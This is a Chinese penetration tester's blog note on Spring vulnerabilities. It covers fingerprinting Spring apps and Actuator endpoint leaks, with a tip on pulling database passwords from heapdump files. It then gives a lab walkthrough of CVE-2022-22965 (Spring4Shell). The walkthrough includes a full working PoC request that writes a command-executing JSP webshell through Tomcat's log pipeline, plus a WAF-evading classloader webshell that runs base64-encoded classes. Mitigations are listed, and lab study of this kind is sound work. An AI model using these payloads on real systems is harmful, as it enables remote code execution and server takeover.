巴扎嘿的入行笔记(渗透测试工程师)(十二【上】)-spring系列漏洞
作者:巴扎嘿啦啦啦 | 发布时间:
相关声明
本文内容仅为技术科普,请勿用于非法用途,本人概不负责,后果自负。
我也是入行6个月的菜b,文章内容有问题请及时指正,感谢!
一.spring是什么?
参考链接:https://blog.csdn.net/weixin_46486966/article/details/106993220
Spring
是一个体系,包括spring boot,spring framenwork ,spring cloud等。由于它自身并非容器,所以基本上不得不随JavaEE容器启动而装载,例如Tomcat、Jetty、JBoss等。

Spring Framework是一个一站式轻量级的java开发框架,是一切的基石。
Spring Boot是基于Spring Framework的框架,集成了绝大部分目前流行的开发框架,就像Maven集成了所有的JAR包一样,Spring Boot集成了几乎所有的框架,使得开发者能快速搭建Spring项目。
Spring Cloud是一整套基于Spring Boot的微服务解决方案,但是Spring Cloud更关注的是全局微服务的整合和管理,相当于管理多个Spring Boot框架的单体微服务。
其余的就不做介绍了。
二.如何判断是spring系列
注:很多spring会在很深的目录里,比如https://x.x.x.x:8080/asd/asda/123/才会发现有个报错页面时springboot的,直接访问https://x.x.x.x:8080是啥都没有的,那么就需要一个插件findsomething,然后里面有一些目录都可以去访问着看看(其实也可以爆破插件里的内容)

(1看报错页面

(2看icon

(3插件,指纹识别等三方判断

三.漏洞测试
试验准备:docker环境+vulhub部署(部署细节自己搜一搜)+春秋云镜+vulfocus等靶场(第一步先测接口泄露:
漏洞名称:SpringBoot接口信息泄露
漏洞级别:(中危-严重)根据泄露的东西不同级别不同
漏洞URL:x.x.x.x
漏洞风险:在 Springboot启用的情况下,如果没有做好相关权限控制,非法用户可通过访
问默认的执行器端点(endpoints)来获取应用系统中的监控信息;可通过访问/trace 路径
获取用户认证字段信息;可能通过其/env 路径获得 mysql、mongodb 的用户名及密码;访
问其/health路径可探测到站点 git 项目地址,导致泄露源码;访问/heapdump 路径会泄
露站点内存信息,可能会包含后台用户的账号密码等。
漏洞描述: Springboot用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开
发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况
下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来
获取应用系统中的监控信息。
解决方案:Spring Boot禁用所有接口。比如要禁用/env接口,则可设置如endpoints.env
.enabled= false如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:
endpoints.enabled = falseendpoints.metrics.enabled = true
漏洞验证:
1 使用SpringScan-main工具进行目录扫描,有能访问的结果挨个点进去看看,看看有没有泄露接口,有就算漏洞(中危保底),接口可以点进去bp改改参数看看有没有其他的。

2 这个具体的我就不写太多了,因为springboot集成了很多框架,其实这个接口泄露能写
多,比如swagger-ui接口泄露,druid接口泄露等,说一个我知道的如何升级为高危漏洞的
方法,泄露的路径里有个heapdump的路径,访问会下载一个heapdump文件,然后用
heapdump_tool.jar解析这个文件,搜索关键字“password”等,有机会随机获得数据库用户密
码,这样就可以算个高危了。



(2参考链接:https://blog.csdn.net/laobanjiull/article/details/124054250,https://blog.csdn.net/KeJiGuaiKa/article/details/126642374
漏洞名称:CVE-2022-22965 Spring Framework远程代码执行漏洞
漏洞级别:高危
漏洞风险:黑客可以利用该漏洞进行rce,攻击者可以直接获取服务器权限;来读取敏感数据、 文件并写入写 入 恶意文件getshell。
漏洞描述:Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开 发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
解决方案:
- 在应用中全局搜索@InitBinder注解,看看方法体内是否调用setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加);
- 部署waf进行关键字过滤;
- 升级至最新的版本。
漏洞验证:
1 进行vulhub该 CVE-2022-22965的部署,如图所示:

2 访问该页面,发现(发现过程见前面2节)为spring ,抓包修改内容为poc包,如图所示:


Poc:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 172.17.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
3 访问传入的jsp码,上传成功,访问http://172.17.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami,页面返回root证明成功。


解释一下poc核心代码,具体详细请参考漏洞开始之前的链接。
class.module.classLoader.resources.context.parent.pipeline.first.pattern= //shell内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp& //文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT& //写入路径
class.module.classLoader.resources.context.parent.pipeline.first.prefix=k3rwin& //文件名
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= //可空
补充一个绕大多数waf的马,这个就写道”shell内容“的地方就行
%{e1}i!
class U extends ClassLoader
{
U(ClassLoader c)
{super(c);}
public Class g(byte[] b)
{return super.defineClass(b, 0, b.length);}
}
public byte[] base64Decode(String str) throws Exception
{try {Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);}
catch (Exception e) { Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%{e2}i %{e1}iString cls = request.getParameter("k3rwin");
if (cls != null)
{
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%{e2}i&